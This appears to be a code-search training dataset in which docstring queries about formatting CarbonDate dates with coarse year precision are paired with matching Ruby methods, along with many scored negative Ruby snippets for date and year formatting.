query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
listlengths 0
101
| negative_scores
listlengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
|---|---|---|---|---|---|---|
Formats a CarbonDate::Date with billion_years precision Returns: A humanreadable string representing the Date
|
def billion_years(date)
coarse_precision(date.year, 1e9.to_i)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def ten_million_years(date)\n coarse_precision(date.year, 10e6.to_i)\n end",
"def born_date\n super.to_s(:long)\n end",
"def hundred_million_years(date)\n coarse_precision(date.year, 100e6.to_i)\n end",
"def million_years(date)\n coarse_precision(date.year, 1e6.to_i)\n end",
"def pretty_date(input_date)\n return input_date.strftime(\"%d %B %Y\")\n end",
"def format_date_nicely(date)\nend",
"def ten_thousand_years(date)\n coarse_precision(date.year, 10e3.to_i)\n end",
"def zt_date date\n if date.year == Time.now.year\n l date, format: :short\n else\n l date, format: :long\n end\n end",
"def date_to_long_string(date, type = nil, style = nil)\n stringify_date(date, \"%B\", type, style)\n end",
"def hundred_thousand_years(date)\n coarse_precision(date.year, 100e3.to_i)\n end",
"def to_s\n CarbonDate::Date.formatter.date_to_string(self)\n end",
"def date\n (@birth_date.to_time + 1_000_000_000).to_date\n end",
"def format_date(date)\n date.strftime(\"%b #{date.day.ordinalize}, %Y\")\n end",
"def to_s; \"%d-%02d\" % [@years, @months.abs] end",
"def format_date\n chars = @date.split('')\n chars.pop(6)\n chars.join('')\n end",
"def format_date date\n \"Date.UTC(#{date.year}, #{date.month - 1}, #{date.day})\".to_json\n end",
"def teen_driver_birth_date\n Chronic.parse('16 years ago').strftime('%m/%d/%Y')\n end",
"def format_date(month, year)\n \"#{format(month,:two_digits)}/#{format(year, :two_digits)}\"\n end",
"def format_date(month, year)\n \"#{format(month,:two_digits)}/#{format(year, :two_digits)}\"\n end",
"def date_str\n Util::Date.token_bill_date(created_at)\n end",
"def format_date(date)\n date.strftime(\"%d %B %Y\")\n end",
"def date_humanized(date_as_integer)\n begin\n Time.at(date_as_integer).to_date.strftime(\"%m/%d/%y\")\n rescue\n nil\n end\n end",
"def humanize(dob)\n\t\t\tunit = @options[:humanize_unit]\n\t\t\tval = (((Time.now - dob) / SECONDS_IN[unit]).floor)\n\t\t\tsuffix = (val == 1) ? \"\" : \"s\"\n\t\t\t\"#{val} #{unit}#{suffix} old\"\n\t\tend",
"def expected_note_short_date_format(date)\n (Time.now.strftime('%Y') == date.strftime('%Y')) ? date.strftime('%b %-d') : date.strftime('%b %-d, %Y')\n end",
"def date_formatted\n date.strftime(\"%A %B %d, %Y\")\n end",
"def date_to_string(date, type = T.unsafe(nil), style = T.unsafe(nil)); end",
"def to_s()\n str = \"\" + @date.month.to_s() + \"/\" + @date.mday.to_s() + \"/\" + @date.year.to_s()\n return str\n end",
"def to_date string\n \n end",
"def short_date( date )\n date.strftime( '%b %d, %Y')\n end",
"def format_table_date(date)\n date.strftime('%Y%m%d')\n end",
"def dateify_dob\n self.dob ||= \"\"\n parts = self.dob.split(\"/\").map{|i| i.to_i}\n self.dob = \"#{parts[0].to_s.rjust(2, \"0\")}/#{parts[1].to_s.rjust(2, \"0\")}/#{parts[2]}\"\n end",
"def teen_smart_birth_date\n Chronic.parse(\"#{rand(16..20)} years ago\").strftime('%m/%d/%Y')\n end",
"def date\n (birthday.to_time + 10**9).to_date\n end",
"def human_readable_date\n d = self.date\n d.strftime(\"%B %d, %Y\")\n end",
"def pub_date_facet\n return nil unless pub_date\n return \"#{pub_date.to_i + 1000} B.C.\" if pub_date.start_with?('-')\n return pub_date unless pub_date.include? '--'\n\n \"#{pub_date[0, 2].to_i + 1}th century\"\n end",
"def format_month_year(date)\n date.strftime(\"%Y-%b\")\n end",
"def good_student_birth_date\n Chronic.parse(\"#{rand(16..24)} years ago\").strftime('%m/%d/%Y')\n end",
"def formatted_smalldate(d) # Mon, Januaury 01\n d.strftime('%b, %d') unless !d\n end",
"def fmt_date(date)\n if (date == :now)\n return Date.today\n end\n if (date.is_a? Integer)\n date = {:year => date, :month => 1}\n end\n Date.parse(date[:year].to_s+\"-\"+date[:month].to_s+\"-01\")\n end",
"def stringify_date(date, month_type, type = T.unsafe(nil), style = T.unsafe(nil)); end",
"def format_date date\n date.strftime('%m/%d/%y')\n end",
"def to_s\n \"#{year}-#{month.to_s.rjust(2, '0')}\"\n end",
"def format_date(original_date)\n original_date.sub(/\\A(\\d\\d\\d\\d)-(\\d\\d)-(\\d\\d)\\z/, '\\3.\\2.\\1')\nend",
"def format_date(original_date)\n original_date.sub(/\\A(\\d\\d\\d\\d)-(\\d\\d)-(\\d\\d)\\z/, '\\3.\\2.\\1')\nend",
"def fancy_date(date)\n h date.strftime(\"%A, %B %d, %Y\")\n end",
"def nice_dob\n\t\t@nice_dob = @dob.strftime(\"%A the #{@dob.day.ordinalize} %B %Y\")\n\tend",
"def to_fixed(g_date = self)\n mmonth = g_date.month\n dday = g_date.day\n yyear = g_date.year\n ((epoch - 1) + \n (365 * (yyear - 1)) + \n quotient(yyear - 1, 4) - \n quotient(yyear - 1, 100) + \n quotient(yyear - 1, 400) + \n quotient((367 * mmonth) - 362, 12) +\n (if mmonth <= 2\n 0\n elsif leap_year?(yyear)\n -1\n else\n -2\n end) + \n dday)\n end",
"def to_date(date)\n date ? date : (' ' * 10) # '00/00/0000'.length\n end",
"def to_date(date)\n date ? date : (' ' * 10) # '00/00/0000'.length\n end",
"def good_date(dd)\n dd = dd.to_s\n dd = \"0\" + dd if dd.length<2\n dd\n end",
"def good_date(dd)\n dd = dd.to_s\n dd = \"0\" + dd if dd.length<2\n dd\n end",
"def good_date(dd)\n dd = dd.to_s\n dd = \"0\" + dd if dd.length<2\n dd\n end",
"def formatted_date( date )\n date.strftime( \"%Y-%b-%d\" ) + \" \" + date.strftime( \"%A\" ).slice( 0..2 ) unless date == nil\n end",
"def pad_date(unit)\n unit.to_i < 10 ? \"0\" + unit.to_s : unit.to_s\n end",
"def nytimes_date(date, opts={})\n str = \"\"\n str << date.strftime('%A, ') if opts[:day_of_week]\n str << nytimes_month_and_day(date)\n str << \", #{date.year}\" unless opts[:hide_current_year] && date.year == Date.today.year\n return str\n end",
"def watch_birthdate\n birthdate.to_s(:short_date)\n end",
"def years\n self.to_i * 31_557_600\n end",
"def date_str\n date.strftime(\"%Y%m%d\")\n end",
"def to_fixed(fr_date = self)\n mmonth = fr_date.month\n dday = fr_date.day\n yyear = fr_date.year\n new_year = new_year_on_or_before((epoch + 180 + MEAN_TROPICAL_YEAR * (yyear - 1)).floor)\n new_year - 1 + 30 * (mmonth - 1) + dday\n end",
"def sortable_year_str_for_bc\n bc_matches = orig_date_str.match(BC_REGEX) if orig_date_str\n ($1.to_i - 1000).to_s if bc_matches\n end",
"def date_str_for_display\n return if orig_date_str == '0000-00-00' # shpc collection has these useless dates\n # B.C. first in case there are 4 digits, e.g. 1600 B.C.\n return display_str_for_bc if orig_date_str.match(BC_REGEX)\n # decade next in case there are 4 digits, e.g. 1950s\n return display_str_for_decade if orig_date_str.match(DECADE_4CHAR_REGEXP) || orig_date_str.match(DECADE_S_REGEXP)\n\n result = sortable_year_for_yyyy_or_yy\n unless result\n # try removing brackets between digits in case we have 169[5] or [18]91\n no_brackets = remove_brackets\n return DateParsing.new(no_brackets).date_str_for_display if no_brackets\n end\n # parsing below this line gives string inapprop for year_str_valid?\n unless self.class.year_str_valid?(result)\n result = display_str_for_century\n result ||= display_str_for_early_numeric\n end\n # remove leading 0s from early dates\n result = \"#{result.to_i} A.D.\" if result && result.match(/^0\\d+$/)\n result\n end",
"def full_adult_birth_date\n Chronic.parse(\"#{rand(21..63)} years ago\").strftime('%m/%d/%Y')\n end",
"def format_date(original_date)\n date_regex = /\\A(\\d\\d\\d\\d)([\\-\\/])(\\d\\d)\\2(\\d\\d)\\z/\n original_date.sub(date_regex, '\\4.\\3.\\1')\nend",
"def dob_string\n unless self[:feed_birth_time].blank?\n year = self[:feed_birth_time].year\n return case self[:feed_birth_time_pref]\n when 'y':\n year.to_s\n when 'md':\n self[:feed_birth_time].to_time.strftime(\"%d-%b\")\n when 'ymd':\n self['feed_birth_time'].to_time.strftime(\"%d-%b-%Y\")\n end\n end\n return ''\n end",
"def as_string(date)\n date.strftime(\"%b %d, %Y\")\n end",
"def nice_date_form(the_date)\n \treturn the_date ? the_date.strftime('%b %d, %Y') : ''\n\tend",
"def date\n tt = Time.gm(*filename_base.scan(/\\d+/))\n\n def tt.to_s\n to_formatted_s(:short_date_with_year) + \" \" + to_formatted_s(:short_time)\n end\n\n tt\n\tend",
"def expected_note_long_date_format(date)\n format = (Time.now.strftime('%Y') == date.strftime('%Y')) ? date.strftime('%b %-d %l:%M%P') : date.strftime('%b %-d, %Y %l:%M%P')\n format.gsub(/\\s+/, ' ')\n end",
"def human_occurrence_date(occurrence)\n if date = occurrence.date\n if date.year == Date.today.year\n date.strftime '%B %d'\n else\n date.strftime '%B %d, %Y'\n end\n end\n end",
"def format_date_nicely(date)\n date.strftime(\"%d/%m/%Y\")\nend",
"def format_date_nicely(date)\n date.strftime(\"%d/%m/%Y\")\nend",
"def to_s\n report_date.strftime(\"%B %Y\")\n end",
"def expiration_date\n \"#{expiration_month.to_s.rjust(2, '0')} / #{expiration_year}\"\n end",
"def format_date(original_date_str)\n original_date_str.sub(%r{\\A(\\d{4})([-/])(\\d{2})\\2(\\d{2})\\z},'\\4.\\3.\\1')\nend",
"def literal_date(v)\n v.strftime(\"{d '%Y-%m-%d'}\")\n end",
"def format_date_nicely(date)\n date.strftime '%d/%m/%Y'\nend",
"def quoted_date(value) #:nodoc:\n if value.acts_like?(:time) && value.respond_to?(:usec)\n \"#{super}.#{sprintf(\"%06d\", value.usec)}\"\n else\n super\n end\n end",
"def printHTMLDateLong(tobj)\n return alStrftime(tobj,'%B %d, %Y')\n end",
"def human_years \n age * DOG_YEARS\n end",
"def formatFullDate(date)\n date.strftime(\"%A | %B #{date.day.ordinalize}, %Y\")\n end",
"def to_s\n \"FiscalYear #{ year }: #{ fd(days.first) } to #{ fd(days.last) }\"\n end",
"def to_date()\n #This is a stub, used for indexing\n end",
"def format_datetime(date, format = :long)\n date.to_formatted_s(format)\n end",
"def DateFormat(date)\n @newDate = date[:month] + \"/\" + date[:day] + \"/\" + date[:year]\n return @newDate\n end",
"def human_years\n age * DOG_YEARS\n end",
"def human_years\n age * DOG_YEARS\n end",
"def human_years\n age * DOG_YEARS\n end",
"def decades() 10 * years end",
"def shortDate(obj)\n obj.strftime(\"%m/%d/%Y\")\n end",
"def adult_birth_date\n Chronic.parse(\"#{rand(18..19)} years ago\").strftime('%m/%d/%Y')\n end",
"def post_year\n chars = @date.split('')\n chars.pop(4).join('').to_i\n end",
"def form_date\n \"#{date.month}/#{date.day}/#{date.year - 2000}\"\n end",
"def non_target_elderly_driver_birth_date\n Chronic.parse(\"#{rand(94..100)} years ago\").strftime('%m/%d/%Y')\n end",
"def as_readable_date\n strftime \"%b %e, %Y\"\n end",
"def date_str d\n Util::date(d)\n end",
"def round( date )\n return date\n end",
"def format_fuzzy_date(d)\n if is_numeric_string(d, 8)\n year, mon, day = d.slice(0, 4), d.slice(4, 2), d.slice(6, 2)\n date = ''\n if year.to_s.length > 0 && year != '0000'\n date += year\n end\n if mon.to_s.length && mon != '00'\n mon_int = mon.to_i\n date += '-' + sprintf(\"%02d\", mon_int)\n\n if day.to_s.length && day != '00'\n day_int = day.to_i\n date += '-' + sprintf(\"%02d\", day_int)\n end\n end\n return date\n end\n d\n end",
"def w_year\n @obj.date.strftime(\"%G\")\n end",
"def to_date\n Date.new(year, number, 1)\n end",
"def format_year_to_century(year)\n if year.to_s[-1].to_i.zero?\n year / 100\n else\n year / 100 + 1\n end\nend"
] |
[
"0.62779206",
"0.6269726",
"0.6256434",
"0.6193199",
"0.6075388",
"0.6039006",
"0.59714353",
"0.59678423",
"0.5964613",
"0.5924666",
"0.58241886",
"0.58034986",
"0.5721897",
"0.57174057",
"0.5687389",
"0.5676393",
"0.5662646",
"0.5645062",
"0.5645062",
"0.5620154",
"0.5607685",
"0.557629",
"0.5575507",
"0.5574137",
"0.55699617",
"0.55695146",
"0.5569308",
"0.55577826",
"0.5535375",
"0.55349463",
"0.553451",
"0.5532679",
"0.55312765",
"0.549771",
"0.54856735",
"0.54641783",
"0.54634917",
"0.54610956",
"0.54541683",
"0.54465085",
"0.5443128",
"0.5440321",
"0.5436675",
"0.5436675",
"0.54173166",
"0.5413751",
"0.54131687",
"0.54045665",
"0.54045665",
"0.54022866",
"0.54022866",
"0.54022866",
"0.54004335",
"0.53943765",
"0.5387926",
"0.5383391",
"0.5372902",
"0.536326",
"0.5361948",
"0.5358575",
"0.5352503",
"0.53524405",
"0.53522044",
"0.53521794",
"0.53499573",
"0.5348764",
"0.534183",
"0.53407097",
"0.53385013",
"0.5330725",
"0.5330725",
"0.53246945",
"0.5324578",
"0.53184307",
"0.53100187",
"0.53003263",
"0.5295715",
"0.52939343",
"0.5292594",
"0.52882177",
"0.5287402",
"0.5285112",
"0.5279876",
"0.5270965",
"0.52683914",
"0.52683914",
"0.52683914",
"0.5267142",
"0.5262598",
"0.52572995",
"0.52564937",
"0.52499163",
"0.5249611",
"0.5236364",
"0.52331215",
"0.52224547",
"0.5208626",
"0.5207615",
"0.5204683",
"0.51967514"
] |
0.6634146
|
0
|
A helper function used to format dates that have less than millenium precision Params: +date_year+ The year component of the CarbonDate::Date being formatted +interval+ The precision in years Returns: A humanreadable string representing the Date
|
def coarse_precision(date_year, interval)
date_year = date_year.to_i
interval = interval.to_i
year_diff = date_year - ::Date.today.year
return "Within the last #{number_with_delimiter(interval)} years" if (-(interval - 1)..0).include? year_diff
return "Within the next #{number_with_delimiter(interval)} years" if (1..(interval - 1)).include? year_diff
rounded = (year_diff.to_f / interval.to_f).round * interval
return "in #{number_with_delimiter(rounded.abs)} years" if rounded > 0
return "#{number_with_delimiter(rounded.abs)} years ago" if rounded < 0
nil
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def format_year(year)\n \"#{year}-#{year+1}\"\n end",
"def year_display_str(date_el_array)\n result = date_parsing_result(date_el_array, :date_str_for_display)\n return result if result\n\n _ignore, orig_str_to_parse = self.class.earliest_year_str(date_el_array)\n DateParsing.date_str_for_display(orig_str_to_parse) if orig_str_to_parse\n end",
"def estimated_deathyear_range_to_s\n result = \"\"\n \n # only bother with this calculation if this person is dead with an unkwown date\n # or the person would be over 120 years old\n if (is_dead?)\n earliest = earliest_deathdate\n latest = latest_deathdate\n if (earliest.nil? && latest.nil?)\n result = \"?\"\n elsif (earliest.nil?)\n result = \"before #{latest.year}\"\n elsif (latest.nil?)\n result = \"after #{earliest.year}\"\n else\n result = \"#{earliest.year}/#{latest.year}\"\n end\n end\n return result\n end",
"def year_name(number); end",
"def sortable_year_for_yyyy\n matches = orig_date_str.match(/\\d{4}/) if orig_date_str\n matches.to_s if matches\n end",
"def post_year\n chars = @date.split('')\n chars.pop(4).join('').to_i\n end",
"def dates\n \t\"(#{years})\".sub(\"()\",\"\")\n end",
"def estimated_birthyear_range_to_s\n earliest = earliest_birthdate\n latest = latest_birthdate\n if (earliest.nil? && latest.nil?)\n result = \"?\"\n elsif (earliest.nil?)\n result = \"before #{latest.year}\"\n elsif (latest.nil?)\n result = \"after #{earliest.year}\"\n else\n result = \"#{earliest.year}/#{latest.year}\"\n end\n return result\n end",
"def sortable_year_str_for_early_numeric\n return unless orig_date_str.match(EARLY_NUMERIC)\n\n if orig_date_str =~ /^\\-/\n # negative number becomes x - 1000 for sorting; -005 for -995\n num = orig_date_str[1..-1].to_i - 1000\n return '-' + num.to_s[1..-1].rjust(3, '0')\n else\n return orig_date_str.rjust(4, '0')\n end\n end",
"def yn(year)\n return year if year.size == 4\n\n y = Date.today.year.to_s[2..4].to_i + 1\n case year.to_i\n when 0...y then \"20#{year}\"\n when y..99 then \"19#{year}\"\n end\n end",
"def w_year\n @obj.date.strftime(\"%G\")\n end",
"def year(date)\n y = date.year.abs.to_s\n return [y, BCE_SUFFIX].join(' ') if (date.year <= -1)\n y\n end",
"def to_s\n fy = first.year.to_s\n end_year = last.year\n fy += \"-\" + end_year.to_s unless first.year == end_year\n fy\n end",
"def format_date(month, year)\n \"#{format(month,:two_digits)}/#{format(year, :two_digits)}\"\n end",
"def format_date(month, year)\n \"#{format(month,:two_digits)}/#{format(year, :two_digits)}\"\n end",
"def sortable_year_str_for_bc\n bc_matches = orig_date_str.match(BC_REGEX) if orig_date_str\n ($1.to_i - 1000).to_s if bc_matches\n end",
"def ten_million_years(date)\n coarse_precision(date.year, 10e6.to_i)\n end",
"def min_year\n 2015\n end",
"def to_s; \"%d-%02d\" % [@years, @months.abs] end",
"def get_year_with_number\n date_receipt.strftime(\"%Y\") + \"-\" + sprintf( \"%03i\", receipt_num )\n end",
"def year_name(number)\n if year_format_lambda = @options[:year_format]\n year_format_lambda.call(number)\n else\n number\n end\n end",
"def human_years\n age * DOG_YEARS\n end",
"def human_years\n age * DOG_YEARS\n end",
"def human_years\n age * DOG_YEARS\n end",
"def date_to_html_string(date)\n result = '<span class=\"month\">' + date.strftime('%b').upcase + '</span> '\n result += date.strftime('<span class=\"day\">%d</span> ')\n result += date.strftime('<span class=\"year\">%Y</span> ')\n result\n end",
"def date_to_html_string(date)\n result = '<span class=\"month\">' + date.strftime('%b').upcase + '</span> '\n result += date.strftime('<span class=\"day\">%d</span> ')\n result += date.strftime('<span class=\"year\">%Y</span> ')\n result\n end",
"def date_to_html_string(date)\n result = '<span class=\"month\">' + date.strftime('%b').upcase + '</span> '\n result += date.strftime('<span class=\"day\">%d</span> ')\n result += date.strftime('<span class=\"year\">%Y</span> ')\n result\n end",
"def date_to_html_string(date)\n result = '<span class=\"month\">' + date.strftime('%b').upcase + '</span> '\n result += date.strftime('<span class=\"day\">%d</span> ')\n result += date.strftime('<span class=\"year\">%Y</span> ')\n result\n end",
"def date_to_html_string(date)\n result = '<span class=\"month\">' + date.strftime('%b').upcase + '</span> '\n result += date.strftime('<span class=\"day\">%d</span> ')\n result += date.strftime('<span class=\"year\">%Y</span> ')\n result\n end",
"def year\n date&.strftime('%Y')\n end",
"def human_years \n age * DOG_YEARS\n end",
"def comment_year(datetime)\n datetime.year != DateTime.now.year ? \"#{datetime.year} \" : \"\"\n end",
"def billion_years(date)\n coarse_precision(date.year, 1e9.to_i)\n end",
"def format_date_nicely(date)\nend",
"def zt_date date\n if date.year == Time.now.year\n l date, format: :short\n else\n l date, format: :long\n end\n end",
"def ten_thousand_years(date)\n coarse_precision(date.year, 10e3.to_i)\n end",
"def get_number_with_year\n receipt_num.to_s + \" / \" + get_date_receipt().strftime(\"%Y\")\n end",
"def million_years(date)\n coarse_precision(date.year, 1e6.to_i)\n end",
"def amy_kids_ages\n [ Time.now.year - 1996, Time.now.year - 1985].join(' to ')\n end",
"def build_header_year\n \"#{begin_date.year}/#{end_date.year}\"\n end",
"def format_month_year(date)\n date.strftime(\"%Y-%b\")\n end",
"def js_year(year)\n [year,1,1].compact.join(',')\n end",
"def copyright_notice_year_range(start_year)\n\t\t# In case the input was not a number (nil.to_i will return a 0)\n\t\tstart_year = start_year.to_i\n\n\t\t# Get the current year from the system\n\t\tcurrent_year = Time.new.year\n\n\t\t# When the current year is more recent than the start year, return a string \n\t\t# of a range (e.g., 2010 - 2012). Alternatively, as long as the start year \n\t\t# is reasonable, return it as a string. Otherwise, return the current year \n\t\t# from the system.\n\t\tif current_year > start_year && start_year > 2000\n\t\t\t\"#{start_year} - #{current_year}\"\n\t\telsif start_year > 2000\n\t\t\t\"#{start_year}\"\n\t\telse\n\t\t\t\"#{current_year}\"\n\t\tend\n\tend",
"def date_str_for_display\n return if orig_date_str == '0000-00-00' # shpc collection has these useless dates\n # B.C. first in case there are 4 digits, e.g. 1600 B.C.\n return display_str_for_bc if orig_date_str.match(BC_REGEX)\n # decade next in case there are 4 digits, e.g. 1950s\n return display_str_for_decade if orig_date_str.match(DECADE_4CHAR_REGEXP) || orig_date_str.match(DECADE_S_REGEXP)\n\n result = sortable_year_for_yyyy_or_yy\n unless result\n # try removing brackets between digits in case we have 169[5] or [18]91\n no_brackets = remove_brackets\n return DateParsing.new(no_brackets).date_str_for_display if no_brackets\n end\n # parsing below this line gives string inapprop for year_str_valid?\n unless self.class.year_str_valid?(result)\n result = display_str_for_century\n result ||= display_str_for_early_numeric\n end\n # remove leading 0s from early dates\n result = \"#{result.to_i} A.D.\" if result && result.match(/^0\\d+$/)\n result\n end",
"def hundred_million_years(date)\n coarse_precision(date.year, 100e6.to_i)\n end",
"def human_years\n age * DOG_YEARS\n end",
"def short_age(birth_year)\n Time.new.year - birth_year\nend",
"def year(input) = new_year(input).year - 621",
"def normalized\n expanded = length == 2 ? \"20#{self}\".to_i : self.to_i # Assume no 3-digit years\n expanded >= Time.now.year ? expanded : Time.now.year\n end",
"def humanize_date_range(d1,d2,separator=\" - \")\n d2,d1 = d1,d2 if d1 > d2\n return d1.to_time.to_formatted_s(:month_day_year) if (d1 == d2)\n return \"#{d1.to_formatted_s(:month_day_year)}#{separator}#{d2.to_formatted_s(:month_day_year)}\" if d1.year != d2.year\n # same year\n if d1.month == d2.month\n \"#{d1.strftime('%b')} #{d1.mday}#{separator}#{d2.mday}, #{d1.year}\"\n else\n \"#{d1.strftime('%b %e')}#{separator}#{d2.strftime('%b %e')}, #{d1.year}\"\n end\n end",
"def copyright_years(start_year)\n end_year = Date.today.year\n if start_year == end_year\n start_year.to_s\n else\n start_year.to_s + '-' + end_year.to_s\n end\n end",
"def pretty_date(input_date)\n return input_date.strftime(\"%d %B %Y\")\n end",
"def normalize_date_pair(pair)\n pair = full_year!(pair) if full_year?(pair)\n\n year = pair.map do |x|\n x.match(/\\d{4}/).to_s\n end.reject(&:empty?).first\n\n pair.map do |x|\n x =~ /\\d{4}/ ? x : \"#{x} #{year}\"\n end\n end",
"def result_string(year)\n send(\"results_#{year}\").rjust(366, '0')\n rescue NoMethodError\n raise ArgumentError, \"#{year} out of range\"\n end",
"def w_year; end",
"def century_year(year)\n\n\tcentury_year = year.div(100) + 1\n\tcentury_year -= 1 if year % 100 == 0\n\tcentury_year.to_s + century_suffix(century_year)\n\nend",
"def copyright_years(start_year)\n end_year = Date.today.year\n if start_year == end_year\n \"\\#{start_year}\"\n else\n \"\\#{start_year}–\\#{end_year}\"\n end\n end",
"def weeks_with_year\n rows = []\n rows << \"Su Mo Tu We Th Fr Sa\" + \" \"\n days = format_dates\n (0..7).each {|num|\n fields = days[num * 7, 7]\n rows << fields.join(\" \") + \" \" if fields\n }\n\n if rows.last.length < 22\n rows.last << \" \" * (22 - rows.last.length)\n end\n\n until rows.length == 7\n rows << \" \" * 22\n end\n rows\n end",
"def remediation_in_year(year)\n if valid_year?(year)\n pupil_enrollment_select_data = @remediation.find_all { |hash| hash[:timeframe] == \"#{year}\" && hash[:data] }\n truncate(pupil_enrollment_select_data[0][:data])\n end\n end",
"def century(year)\n century = (year.to_f / 100).ceil.to_s\n suffix(century)\nend",
"def inspect\n \"the year is \" + humanize_list(@years)\n end",
"def display_str_for_early_numeric\n return unless orig_date_str.match(EARLY_NUMERIC)\n # return 1 B.C. when the date is 0 since there is no 0 year\n return '1 B.C.' if orig_date_str == '0'\n # negative number becomes B.C.\n return \"#{orig_date_str[1..-1].to_i + 1} B.C.\" if orig_date_str =~ /^\\-/\n\n # remove leading 0s from early dates\n \"#{orig_date_str.to_i} A.D.\"\n end",
"def select_year(date, options = T.unsafe(nil), html_options = T.unsafe(nil)); end",
"def sortable_year_for_century\n return unless orig_date_str\n return if orig_date_str =~ /B\\.C\\./\n\n century_matches = orig_date_str.match(CENTURY_4CHAR_REGEXP)\n if century_matches\n return $1 + '00' if $1.length == 2\n return '0' + $1 + '00' if $1.length == 1\n end\n century_str_matches = orig_date_str.match(CENTURY_WORD_REGEXP)\n if century_str_matches\n yy = ($1.to_i - 1).to_s\n return yy + '00' if yy.length == 2\n return '0' + yy + '00' if yy.length == 1\n end\n end",
"def to_s\n txt = name\n txt += \" (#{self.year})\" if self.year && self.year > 0\n return txt\n end",
"def format_year_to_century(year)\n if year.to_s[-1].to_i.zero?\n year / 100\n else\n year / 100 + 1\n end\nend",
"def hundred_thousand_years(date)\n coarse_precision(date.year, 100e3.to_i)\n end",
"def pub_date_facet\n return nil unless pub_date\n return \"#{pub_date.to_i + 1000} B.C.\" if pub_date.start_with?('-')\n return pub_date unless pub_date.include? '--'\n\n \"#{pub_date[0, 2].to_i + 1}th century\"\n end",
"def pub_year_display_str(ignore_approximate = false)\n single_pub_year(ignore_approximate, :year_display_str)\n\n # TODO: want range displayed when start and end points\n # TODO: also want best year in year_isi fields\n # get_main_title_date\n # https://github.com/sul-dlss/SearchWorks/blob/7d4d870a9d450fed8b081c38dc3dbd590f0b706e/app/helpers/results_document_helper.rb#L8-L46\n\n # \"publication_year_isi\" => \"Publication date\", <-- do it already\n # \"beginning_year_isi\" => \"Beginning date\",\n # \"earliest_year_isi\" => \"Earliest date\",\n # \"earliest_poss_year_isi\" => \"Earliest possible date\",\n # \"ending_year_isi\" => \"Ending date\",\n # \"latest_year_isi\" => \"Latest date\",\n # \"latest_poss_year_isi\" => \"Latest possible date\",\n # \"production_year_isi\" => \"Production date\",\n # \"original_year_isi\" => \"Original date\",\n # \"copyright_year_isi\" => \"Copyright date\"} %>\n\n # \"creation_year_isi\" => \"Creation date\", <-- do it already\n # {}\"release_year_isi\" => \"Release date\",\n # {}\"reprint_year_isi\" => \"Reprint/reissue date\",\n # {}\"other_year_isi\" => \"Date\",\n end",
"def graduation_rate_in_year(year)\n if valid_year?(year)\n graduation_rate_select_data = @graduation_rate.find_all { |hash| hash[:timeframe] == \"#{year}\" && hash[:data] }\n truncate(graduation_rate_select_data[0][:data])\n end\n end",
"def expected_note_short_date_format(date)\n (Time.now.strftime('%Y') == date.strftime('%Y')) ? date.strftime('%b %-d') : date.strftime('%b %-d, %Y')\n end",
"def years\n self.to_i * 31_557_600\n end",
"def year() end",
"def raw_year\n start_on.year\n end",
"def to_date(date, year)\n Date.parse(\"#{date}-#{year}\")\n end",
"def format_date(date)\n if date.nil?\n return \"\"\n end\n if date.year == Date.today.year\n return date.strftime(\"%A, %B %-d\") unless date.nil?\n else\n return date.strftime(\"%A, %B %-d %Y\") unless date.nil?\n end\n end",
"def dog_years(year)\n\t\tp year*7\n\tend",
"def years\n Thread.current[:datet_mode] = :years\n return self\n end",
"def full_academic_year\n unless academic_year.blank?\n academic_year.to_s + '-' + (academic_year + 1).to_s\n end\n end",
"def century(year)\n century = year / 100\n century += 1 if year % 100 != 0\n century.to_s + suffix(century)\nend",
"def century(year)\n num = (year - 1) / 100 + 1\n century = num.to_s + suffix(num)\nend",
"def century(year)\n century = (year / 100) + 1\n century -= 1 if year % 100 == 0\n \n century.to_s + century_suffix(century)\nend",
"def to_s\n \"#{'%04i' % year}-W#{'%02i' % index}\"\n end",
"def make_year(year, bias); end",
"def format_table_date_range(date)\n date.strftime('%Y%m*')\n end",
"def silly_years(year)\n result_arr = []\n # retrieves first two digits\n first_half = year.to_s.split('')[0..1].join('').to_i\n while result_arr.length < 10\n first_half += 1\n mid = first_half%10\n next if mid*10 - first_half < 0\n \n mid = mid*10 + (((mid*10) - first_half)/10)\n second_half = mid - first_half\n year = first_half.to_s\n if second_half.to_s.length == 1\n year += \"0\" + second_half.to_s\n else\n year += second_half.to_s\n end\n \n \n result_arr << year.to_i\n end\n\n result_arr\nend",
"def age(manufacture_date)\n Time.now.year - manufacture_date\n end",
"def new_year(date) = ::Date.new(Integer === date ? date : date(date).year, 1, 1, reform_jd).new_start(::Date::GREGORIAN)",
"def to_s\n \"FiscalYear #{ year }: #{ fd(days.first) } to #{ fd(days.last) }\"\n end",
"def years_needed\n 30\n end",
"def inspect\n \"the year is \" + humanize_list(@parts)\n end",
"def expected_death_year\n Chronic.parse(\"#{years_to_live} years from now\").year.to_s\n end",
"def year_only?(date)\n\t\tdate.length == 4 && @@year_rgx.match(date)\n\tend",
"def century(year)\n century = year / 100\n remainder = year % 100\n \n remainder > 0 ? century += 1 : century\n \n \"#{century}\" + century_suffix(century)\nend",
"def century(year)\n postfix_arr = %w(st nd rd th)\n\n century_number, century_modulus = year.divmod(100)\n century_number += 1 unless century_modulus == 0\n postfix_index = century_number % 20 # Because the 'teens' don't conform!\n\n postfix_str = postfix_index < 4 ? postfix_arr[postfix_index - 1] : 'th'\n \"#{century_number.to_s + postfix_str}\"\nend",
"def display_age(age)\n years = months = weeks = 0\n if age <= 24\n return \"#{age} weeks\"\n else\n months = age / 4\n weeks = age % 4 == 0 ? 0 : age % 4\n if months > 11\n years = months / 12\n months = months % 12 == 0 ? 0 : months % 12\n end\n result = \"\"\n if (years > 0 )\n result = result + pluralize(years, \"year\")\n end\n if (months > 0)\n result = result + \" \" + pluralize(months, \"month\")\n end\n if (weeks > 0)\n result = result + \" \" + pluralize(weeks, \"week\")\n end\n return result\n end\n end",
"def copyright_period\n if Time.now.year > 2009\n raw %Q(2009–#{Time.now.year})\n else\n raw %Q(2009)\n end\n end",
"def donation_this_year\n donation_year = Donation.where(\"strftime('%Y', donation_date) = ?\", Time.now.year.to_s)\n currency(donation_year.sum(:amount))\n end",
"def years_ago(years)\n change(:year => self.year - years)\n end",
